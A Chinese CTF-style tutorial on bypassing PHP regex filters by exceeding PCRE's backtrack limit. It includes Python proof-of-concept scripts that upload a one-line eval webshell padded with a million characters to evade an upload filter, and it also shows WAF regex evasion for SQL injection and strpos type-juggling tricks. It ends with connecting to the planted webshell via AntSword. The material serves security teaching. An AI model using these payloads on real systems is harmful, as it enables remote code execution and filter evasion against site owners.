PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

目录

一、正则表达式概述

有限状态自动机

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

NFA(非确定性有限状态自动机)

二、回溯的过程

[三、 PHP 的 pcre.backtrack_limit 限制利用](#三、 PHP 的 pcre.backtrack_limit 限制利用)

例题一

[回溯绕过步骤 :](#回溯绕过步骤 :)

[1、运行结果: 可见无法匹配](#1、运行结果: 可见无法匹配)

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

总结:

1、绕过该正则

例题二

1、利用python语言编写回溯绕过一百万次的脚本

回溯过程模拟:

例题三

文件上传漏洞

1、编写文件上传脚本

2、上传任意一个文件

3、正则回溯

编写回溯脚本

查看并执行python代码是否成功

temp文件出现

使用中国蚁剑进行连接测试


一、正则表达式概述

正则表达式是一个可以被 "有限状态自动机"接受的语言类。

有限状态自动机

其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。

匹配输入的过程分别是:

DFA(确定性有限状态自动机)

从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA(非确定性有限状态自动机)

从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程

php 复制代码
<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
<?php eval()

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:

回溯过程

在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上......

最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数

三、 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

回溯次数上限默认是 100 万

回溯次数超过了 100 万,返回的非 1 和 0,是 false。

preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

python 复制代码
import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)

四、PCRE 另一种错误的用法

基于 PHP 的 WAF:

例一:

php 复制代码
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

例二:

php 复制代码
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

复制代码
.+? 匹配到/

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*

S 匹配*失败,回溯,再由.+? 匹配*

因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a

S 匹配 a 失败,回溯,再由.+? 匹配 a

...

 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

例题一

php 复制代码
<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];

if(!areyouok($greeting)){
    // NULL != false
    // Null !== false
    // null !== false
    // strpos
    if(strpos($greeting,'Merry Christmas') !== false){   //字符查找,如果查找到返回字符的位置,没有就返回false
        echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

回溯绕过步骤 :

1、运行结果: 可见无法匹配

2、尝试匹配:依旧无法匹配

3、再次尝试:发现拿到匹配结果

原因:

此时greeting传递的是数组,元素是123,而 strpos验证的是字符串

由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL

将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。

当只有一个 = bool(false),返回值为false,程序执行结束​​​

php 复制代码
<?php
var_dump(NULL != false);
?>

当有两个 == 时,返回值为true,程序继续执行

php 复制代码
<?php
var_dump(NULL !== false);
?>

知识点补充:

PHP中 比较 0、false、null,'' "

松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

复制代码
0 == false: bool(true)
0 === false: bool(false)

0 == null: bool(true)
0 === null: bool(false)

false == null: bool(true)
false === null: bool(false)

"0" == false: bool(true)
"0" === false: bool(false)

"0" == null: bool(false)
"0" === null: bool(false)

"" == false: bool(true)
"" === false: bool(false)

"" == null: bool(true)
"" === null: bool(false)

总结:

1、绕过该正则

插入代码:

php 复制代码
greeting[]=123;

此时绕过第一个正则

接着会返回

php 复制代码
  null !== false;

根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行

例题二

php 复制代码
<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
​
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}
?>
​
​

思路: 只要将if(!areyouok($greeting))为假,并且含有'Merry Christmas'字符,回溯一百万次即可绕过

1、利用python语言编写回溯绕过一百万次的脚本

python 复制代码
from requests import post 

payload = {
    'greeting' : 'Merry Christmas' + 'a' * 1000001
}

url = 'http://127.0.0.1/xss_location/dem04.php'

res = post(url ,data=payload)

回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成

回溯过程模拟:

正则回溯实例

例题三

文件上传漏洞

php 复制代码
<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
​
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
​
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    //利用move_uploaded_file将临时文件,复制到$path
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
​
    header("Location: $path", true, 303); 
} 
?>

1、编写文件上传脚本

php 复制代码
<?php
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);
python 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Xss-filter</title>
</head>
<body>
    <form action="./file_upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="">
        <input type="submit" value="submit">
    </form> 
</body>
</html>

2、上传任意一个文件

注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除

可以通过设置睡眠时间来将临时文件tmp抓到

php 复制代码
<?php
sleep(100);
echo "<pre>";  //设置输出为格式化输出
var_dump($_FILES);

3、正则回溯

编写回溯脚本

python 复制代码
from requests import post 

files = {
    'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}

url = 'http://127.0.0.1/xss_location/demo6.php'

res = post(url ,files=files, allow_redirects=False)

print (res.headers)

查看并执行python代码是否成功

temp文件出现

此时,一句话木马已经写入

使用中国蚁剑进行连接测试

连接成功,此时已经绕过漏洞。

相关推荐
BingoGo10 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack10 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1234 天前
matlab画图工具
开发语言·matlab
dustcell.4 天前
haproxy七层代理
java·开发语言·前端